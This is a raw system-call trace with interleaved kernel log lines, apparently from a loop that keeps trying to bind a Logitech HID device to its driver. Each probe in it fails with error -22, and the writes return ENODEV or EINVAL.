[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.037229][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.069664][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.081723][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.103963][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.126396][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.137700][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.150885][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.164328][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.186658][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.199188][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.210345][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.224867][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.239052][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.250546][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.262013][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.275689][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.286590][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.309757][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.322252][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.366399][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.377450][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.400601][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.423627][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.434456][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.467890][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.500261][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.521922][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.543263][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.557046][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.579928][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.593050][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.604757][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.618186][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.631841][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.635767][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.658198][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.669249][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.681790][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.693301][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
